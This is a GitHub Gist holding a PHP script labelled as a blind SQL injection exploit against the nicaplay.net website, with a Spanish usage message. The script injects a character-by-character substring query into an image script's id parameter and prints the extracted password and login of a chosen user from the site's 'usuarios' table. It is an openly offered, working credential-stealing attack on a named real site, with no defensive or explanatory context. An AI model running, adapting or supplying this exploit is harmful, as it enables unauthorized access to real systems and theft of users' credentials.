Created
June 10, 2016 23:46
-
-
Save carloslopez1990/ca5fc6eed48a3d41486f7a98f0a7cd1f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* www.nicaplay.net Blind SQL Injection Exploit | |
* Por Cigarritos Inc | |
*/ | |
$idusuario = (int) $argv[1]; | |
if( $idusuario <= 0 ) | |
exit( "Uso: php nicaplay_xpl.php idusuario\nEjemplo: php nicaplay_xpl.php 1" ); | |
$idusuario--; | |
$lowercase = range(97, 122); | |
$numbers = range(48, 57); | |
$uppercase = range(65, 90); | |
$final = array_merge($lowercase, $numbers, $uppercase); | |
function get( $col ) { | |
global $idusuario, $final; | |
$inj = '1 and 1=( select if( ( select substr('.$col.', {pos}, 1) from usuarios limit '.$idusuario.', 1 ) = \'{char}\', 1, 0 ) )'; | |
$pos = 1; | |
while(1) { | |
$found = false; | |
foreach($final as $char) { | |
$_inj = str_replace('{char}', chr( $char ), $inj); | |
$_inj = str_replace('{pos}', $pos, $_inj); | |
$info = file_get_contents('http://www.nicaplay.net/phpScript/getIMG/imgProject.php?id='.urlencode( $_inj )); | |
if(strlen( $info ) > 0) { | |
$found = true; | |
print chr($char); | |
break; | |
} | |
} | |
if( !$found ) | |
return; | |
$pos++; | |
} | |
} | |
print "\n\t[ Obteniendo Credenciales de NicaPlay... ]\n\n"; | |
print "\tPassword: "; | |
get('password'); | |
print "\n\n\tLogin: "; | |
get('usuario'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment